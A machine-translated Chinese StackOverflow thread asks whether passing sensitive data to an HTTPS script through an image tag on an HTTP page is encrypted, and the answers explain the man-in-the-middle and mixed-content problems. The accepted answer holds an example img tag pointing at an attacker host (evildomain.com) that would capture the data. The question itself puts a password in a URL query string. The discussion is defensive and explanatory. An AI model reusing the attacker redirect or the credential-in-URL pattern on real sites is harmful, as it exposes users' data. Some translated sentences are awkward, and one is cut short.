我有一个服务器脚本,需要从浏览器传递数据,而无需重新加载页面(又名 ajax)。数据很敏感,因此应通过 https 发送。然而该页面位于 http 层。由于相同的域/协议限制,浏览器不允许这样做。

我正在考虑通过动态创建图像标签并使用 src 标签调用脚本来欺骗系统,例如:

<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" />

我想知道这是否确实会被正确加密。

有帮助吗?

解决方案

这里的问题是,如果页面本身仅仅是HTTP,那么你很容易受中间人攻击。攻击者可以只需修改脚本在通过HTTP发送的页面,以便它而使用:

<img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" />

用户将没有最明智的。为了解决这个问题,你真的需要通过HTTPS投放的页面太 - 这同时巧妙地解决了你的其他问题

(这是完全一样的原因登录表单应该对HTTPS页面,而不是仅仅表单动作是HTTPS)。

其他提示

是,也不是。

URL的服务器地址部分,因为它是用来建立连接显然是不加密的。

其他一切被同时经由HTTPS连接被发送加密。但是,任何人观看源显然可以看到被张贴的数据。

它还承担提的是,某些浏览器将不显示(或显示之前将警告用户)混合模式(http和https)上的HTML页面。在一些情况下,这可能无法工作,因为用户选择阻止它。

图像技术的一种可能的替代方案(其缺点,正如其他人提到的,是某些浏览器不会善待混合模式内容) 安全套接层.

任何一种方法都会导致加密发生,并且两者仍然容易受到中间人攻击。

许可以下: CC-BY-SA归因
不隶属于 StackOverflow
scroll top